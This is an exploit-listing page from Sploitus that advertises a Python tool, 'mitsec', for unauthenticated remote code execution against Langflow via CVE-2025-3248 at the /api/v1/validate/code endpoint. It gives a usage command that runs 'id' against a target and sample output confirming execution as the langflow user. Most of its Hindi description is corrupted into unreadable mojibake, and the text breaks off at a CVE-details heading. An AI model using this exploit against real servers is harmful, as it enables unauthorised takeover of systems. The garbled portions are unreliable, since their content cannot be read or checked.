Sploitus

Exploit for CVE-2025-3248-Langflow-RCE

kitploit ┬╖ 2026-08-28

Exploit Code

MARKDOWN34 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-YNSMROZTAS-CVE-2025-3248-LANGFLOW-RCE
# mitsec - CVE-2025-3248 Langflow RCE рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ

рдЙрди **Langflow** рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЗ рд▓рд┐рдП рд░рд┐рдореЛрдЯ рдХреЛрдб рдПрдХреНрдЬрд╝реАрдХреНрдпреВрд╢рди (RCE) рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдЬреЛ **CVE-2025-3248** рдХреЗ рдкреНрд░рддрд┐ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реИрдВред

> рдкреНрд░рднрд╛рд╡рд┐рдд рдПрдВрдбрдкреЙрдЗрдВрдЯ: `/api/v1/validate/code`

## ЁЯЪА рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдлреАрдЪрд░реНрд╕

  * рд░рд┐рдореЛрдЯ рдФрд░ рдмрд┐рдирд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЗ RCE
  * рдХрд┐рд╕реА рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ
  * Python3 рд╡рди-рд▓рд╛рдЗрдирд░ рд╕реНрдХреНрд░рд┐рдкреНрдЯ
  * рд░рдВрдЧреАрди рдЯрд░реНрдорд┐рдирд▓ рдЖрдЙрдЯрдкреБрдЯ



## ЁЯФз рдЙрдкрдпреЛрдЧ

root@kitploit:~
    
    
    python3 mitsec.py -u http://target:7860 -c "id"
    

## ЁЯзк рдЙрджрд╛рд╣рд░рдг рдЖрдЙрдЯрдкреБрдЯ

root@kitploit:~
    
    
    [+] Command Output:
    uid=1001(langflow) gid=1001(langflow) groups=1001(langflow)
    

## ЁЯза CVE рд╡рд┐рд╡рд░рдг